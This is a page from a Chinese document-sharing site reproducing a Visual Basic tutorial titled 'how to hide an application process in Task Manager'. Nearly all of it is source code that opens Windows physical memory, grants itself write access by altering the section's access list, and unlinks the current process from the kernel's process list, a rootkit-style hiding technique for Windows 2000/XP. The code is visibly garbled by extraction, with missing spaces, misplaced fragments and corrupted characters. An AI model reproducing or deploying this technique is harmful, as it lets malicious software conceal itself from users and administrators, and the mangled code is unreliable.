vb中如何在任务管理器里面隐藏应用程序进程.docx
- 文档编号:5304642
- 上传时间:2022-12-15
- 格式:DOCX
- 页数:11
- 大小:66.82KB
vb中如何在任务管理器里面隐藏应用程序进程.docx
《vb中如何在任务管理器里面隐藏应用程序进程.docx》由会员分享,可在线阅读,更多相关《vb中如何在任务管理器里面隐藏应用程序进程.docx(11页珍藏版)》请在冰豆网上搜索。
vb中如何在任务管理器里面隐藏应用程序进程
vb中如何在任务管理器里面隐藏应用程序进程
'该模块用于在任务管理器中隐藏进程
PrivateConstSTATUS_INFO_LENGTH_MISMATCH=&HC0000004
PrivateConstSTATUS_ACCESS_DENIED=&HC0000022
PrivateConstSTATUS_INVALID_HANDLE=&HC0000008
PrivateConstERROR_SUCCESS=0&
PrivateConstSECTION_MAP_WRITE=&H2
PrivateConstSECTION_MAP_READ=&H4
PrivateConstREAD_CONTROL=&H20000
PrivateConstWRITE_DAC=&H40000
PrivateConstNO_INHERITANCE=0
PrivateConstDACL_SECURITY_INFORMATION=&H4
PrivateTypeIO_STATUS_BLOCK
StatusAsLong
InformationAsLong
EndType
PrivateTypeUNICODE_STRING
LengthAsInteger
MaximumLengthAsInteger
BufferAsLong
EndType
PrivateConstOBJINHERIT=&H2
&H10
PrivateConstOBJ_PERMANENT
PrivateConstOBJ_EXCLUSIVE=&H20
=&H40
&H200
=&H3F2
PrivateConstOBJ_CASE_INSENSITIVE
PrivateConstOBJ_OPENIF=&H80
PrivateConstOBJ_OPENLINK=&H100
PrivateConstOBJ_KERNEL_HANDLE=
PrivateConstOBJ_VALID_ATTRIBUTES
PrivateTypeOBJECT_ATTRIBUTES
LengthAsLong
RootDirectoryAsLong
ObjectNameAsLong
AttributesAsLong
SecurityDeorAsLong
SecurityQualityOfServiceAsLong
EndType
PrivateTypeACL
AclRevisionAsByte
Sbz1AsByte
AclSizeAsInteger
AceCountAsInteger
Sbz2AsInteger
EndType
PrivateEnumACCESS_MODE
NOT_USED_ACCESS
GRANT_ACCESS
SET_ACCESS
DENY_ACCESS
REVOKE_ACCESS
SET_AUDIT_SUCCESS
SET_AUDIT_FAILURE
EndEnum
PrivateEnumMULTIPLE_TRUSTEE_OPERATION
NO_MULTIPLE_TRUSTEE
TRUSTEE_IS_IMPERSONATE
EndEnum
PrivateEnumTRUSTEE_FORM
TRUSTEE_IS_SID
TRUSTEE_IS_NAME
EndEnum
PrivateEnumTRUSTEE_TYPE
TRUSTEE_IS_UNKNOWN
TRUSTEE_IS_USER
TRUSTEE_IS_GROUP
EndEnum
PrivateTypeTRUSTEE
pMultipleTrusteeAsLong
MultipleTrusteeOperationAsMULTIPLE_TRUSTEE_OPERATION
TrusteeFormAsTRUSTEE_FORM
TrusteeTypeAsTRUSTEE_TYPE
ptstrNameAsString
EndType
PrivateTypeEXPLICIT_ACCESSgrfAccessPermissionsAsLonggrfAccessModeAsACCESS_MODEgrfInheritanceAsLong
TRUSTEEAsTRUSTEE
EndType
PrivateTypeAceArray
List()AsEXPLICIT_ACCESS
EndType
PrivateEnumSE_OBJECT_TYPE
SE_UNKNOWN_OBJECT_TYPE=0SE_FILE_OBJECT
SE_SERVICE
SE_PRINTER
SE_REGISTRY_KEY
SE_LMSHARE
SE_KERNEL_OBJECT
SE_WINDOW_OBJECT
SE_DS_OBJECT
SE_DS_OBJECT_ALL
SE_PROVIDER_DEFINED_OBJECT
SE_WMIGUID_OBJECT
EndEnum
PrivateDeclareFunctionSetSecuritylnfoLib
"advapi32.dll"(ByValHandleAsLong,ByVal
ObjectTypeAsSE_OBJECT_TYPE
ByValSecurityInfoAsLong
ppsidOwner
AsLong,ppsidGroupAsLong,ppDaclAsAny,ppSaclAsAny)AsLong
ObjectTypeAsSE_OBJECT_TYPE,ByValSecurityInfoAsLong,ppsidOwner
Long
pListOfExplicitEntriesAs
cCountOfExplicitEntriesAsLong
EXPLICIT_ACCESS,ByValOldAclAsLong,NewAclAsLong)AsLong
PrivateDeclareSubBuildExplicitAccessWithNameLib"advapi32.dll"Alias
"BuildExplicitAccessWithNameA"(pExplicitAccessAsEXPLICIT_ACCESS,ByVal
ByValAccessModeAs
pTrusteeNameAsString,ByValAccessPermissionsAsLong
ACCESS_MODE,ByValInheritanceAsLong)
UNICODE_STRING,ByValSourceStringAsLong)
PrivateDeclareFunctionMapViewOfFileLib"kernel32"(ByValhFileMappingObjectAsLong
dwFileOffsetLowAsLong,ByValdwNumberOfBytesToMapAsLong)AsLong
PrivateDeclareFunctionUnmapViewOfFileLib"kernel32"(lpBaseAddressAsAny)AsLong
PrivateDeclareSubCopyMemoryLib"kernel32"Alias"RtlMoveMemory"(DestinationAsAny
SourceAsAny,ByValLengthAsLong)
PrivateDeclareFunctionGetVersionExLib"kernel32"Alias"GetVersionExA"
(IpVersionlnformationAsOSVERSIONINFO)AsLong
PrivateTypeOSVERSIONINFO
dwOSVersionInfoSizeAsLong
dwMajorVersionAsLong
dwMinorVersionAsLong
dwBuildNumberAsLong
dwPlatformIdAsLong
szCSDVersionAsString*128
EndType
PrivateverinfoAsOSVERSIONINFO
Privateg_hNtDLLAsLong
Privateg_pMapPhysicalMemoryAsLong
Privateg_hMPMAsLong
PrivateaByte(3)AsByte
PublicSubHideCurrentProcess()
'在进程列表中隐藏当前应用程序进程
DimthreadAsLong,processAsLong,fwAsLong,bwAsLong
DimlOffsetFlinkAsLong,lOffsetBlinkAsLong,lOffsetPIDAsLong
verinfo.dwOSVersionlnfoSize=Len(verinfo)
If(GetVersionEx(verinfo))<>0Then
Ifverinfo.dwPlatformld=2Then
Ifverinfo.dwMajorVersion=5Then
SelectCaseverinfo.dwMinorVersion
Case0
lOffsetFlink=&HA0
lOffsetBlink=&HA4
lOffsetPID=&H9C
Case1
lOffsetFlink=&H88
lOffsetBlink=&H8C
lOffsetPID=&H84
EndSelect
EndIf
EndIf
EndIf
IfOpenPhysicalMemory<>0Then
thread=GetData(&HFFDFF124)
process=GetData(thread+&H44)
fw=GetData(process+lOffsetFlink)
bw=GetData(process+lOffsetBlink)
SetDatafw+4,bw
SetDatabw,fw
CloseHandleg_hMPM
EndIf
EndSub
PrivateSubSetPhyscialMemorySectionCanBeWrited(ByVaihSectionAsLong)
DimpDaciAsLong
DimpNewDaciAsLong
DimpSDAsLong
DimdwResAsLong
DimeaAsEXPLICIT_ACCESS
GetSecurityInfohSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,0,0,pDaci,0,pSD
ea.grfAccessPermissions=SECTION_MAP_WRITE
ea.grfAccessMode=GRANT_ACCESS
ea.grfInheritance=NO_INHERITANCE
ea.TRUSTEE.TrusteeForm=TRUSTEE_IS_NAME
ea.TRUSTEE.TrusteeType=TRUSTEE_IS_USER
ea.TRUSTEE.ptstrName="CURRENT_USER"&vbNuilChar
SetEntriesInAci1,ea,pDaci,pNewDaci
SetSecurityInfohSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,0,0,
ByVaipNewDaci,0
CieanUp:
LocaiFreepSD
LocalFreepNewDacI
EndSub
'转载请注名来自爱软件()阿江编注。
PrivateFunctionOpenPhysicalMemory()AsLong
DimStatusAsLong
DimPhysmemStringAsUNICODE_STRING
DimAttributesAsOBJECT_ATTRIBUTES
RtlInitUnicodeStringPhysmemString,StrPtr("\Device\PhysicalMemory")
Attributes.Length=Len(Attributes)
Attributes.RootDirectory=0
Attributes.ObjectName=VarPtr(PhysmemString)
Attributes.Attributes=0
Attributes.SecurityDeor=0
Attributes.SecurityQualityOfService=0
Status=ZwOpenSection(g_hMPM,SECTION_MAP_READorSECTION_MAP_WRITE
Attributes)
IfStatus=STATUS_ACCESS_DENIEDThen
Status=ZwOpenSection(g_hMPM,READ_CONTROLorWRITE_DAC,Attributes)
SetPhyscialMemorySectionCanBeWritedg_hMPM
CloseHandleg_hMPM
Status=ZwOpenSection(g_hMPM,SECTION_MAP_READorSECTION_MAP_WRITE
Attributes)
EndIf
DimlDirectotyAsLong
If(GetVersionEx(verinfo
))<>0Then
Ifverinfo.dwPlatformld=2Then
Ifverinfo.dwMajorVersion
=5Then
SelectCaseverinfo.dwMinorVersion
Case0
lDirectoty=&H30000
Case1
lDirectoty=&H39000
EndSelect
EndIf
EndIf
EndIf
IfStatus=0Then
g_pMapPhysicalMemory
=MapViewOfFile(g_hMPM,4,0,lDirectoty,&H1000)
Ifg_pMapPhysicalMemory
<>0ThenOpenPhysicalMemory=g_hMPM
EndIf
EndFunction
PrivateFunctionLinearToPhys(BaseAddressAsLong,addrAsLong)AsLong
DimVAddrAsLong,PGDEAsLong,PTEAsLong,PAddrAsLong
DimlTempAsLong
VAddr=addr
CopyMemoryaByte(0),VAddr,4lTemp=Fix(ByteArrToLong(aByte)/(2A22))
PGDE=BaseAddress+ITemp*4
CopyMemoryPGDE,
ByValPGDE,4
If(PGDEAnd1)<>
0Then
lTemp=PGDEAnd
&H80
IflTemp<>0Then
PAddr=(PGDEAnd
&HFFC00000)+(VAddrAnd
&H3FFFFF)
Else
PGDE=MapViewOfFile(g_hMPM,4,0,PGDEAnd
&HFFFFF000,&H1000)
lTemp=(VAddrAnd
&H3FF000)/(2人12)
PTE=PGDE+lTemp
*4
CopyMemoryPTE,ByValPTE,4
If(PTEAnd1)<>0Then
PAddr=(PTEAnd&HFFFFFOOO)+(VAddrAnd&HFFF)
UnmapViewOfFilePGDE
EndIf
EndIf
EndIf
LinearToPhys=PAddr
EndFunction
PrivateFunctionGetData(addrAsLong)AsLong
DimphysAsLong,tmpAsLong,retAsLong
phys=LinearToPhys(g_pMapPhysicalMemory,addr)tmp=MapViewOfFile(g_hMPM,4,0,physAnd&HFFFFF000,&H1000)
Iftmp<>0Then
ret=tmp+((physAnd&HFFF)/(2A2))*4
CopyMemoryret,ByVairet,4
UnmapViewOfFiletmp
GetData=ret
EndIf
EndFunction
PrivateFunctionSetData(ByVaiaddrAsLong,ByVaidataAsLong)AsBoolean
DimphysAsLong,tmpAsLong,xAsLong
phys=LinearToPhys(g_pMapPhysicalMemory,addr)
&H1000)
tmp=MapViewOfFile(g_hMPM,SECTION_MAP_WRITE,0,physAnd&HFFFFF000
Iftmp<>0Then
x=tmp+((physAnd&HFFF)/(2a2))*4
CopyMemoryByValx,data,4
UnmapViewOfFiletmp
SetData=True
EndIf
EndFunction
'转载请注名来自爱软件()阿江编注。
PrivateFunctionByteArrToLong(inByte()AsByte)AsDouble
DimiAsInteger
Fori=0To3
ByteArrToLong=ByteArrToLong+inByte(i)*(&H100ai)
Nexti
EndFunction
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- vb 如何 任务 管理器 里面 隐藏 应用程序 进程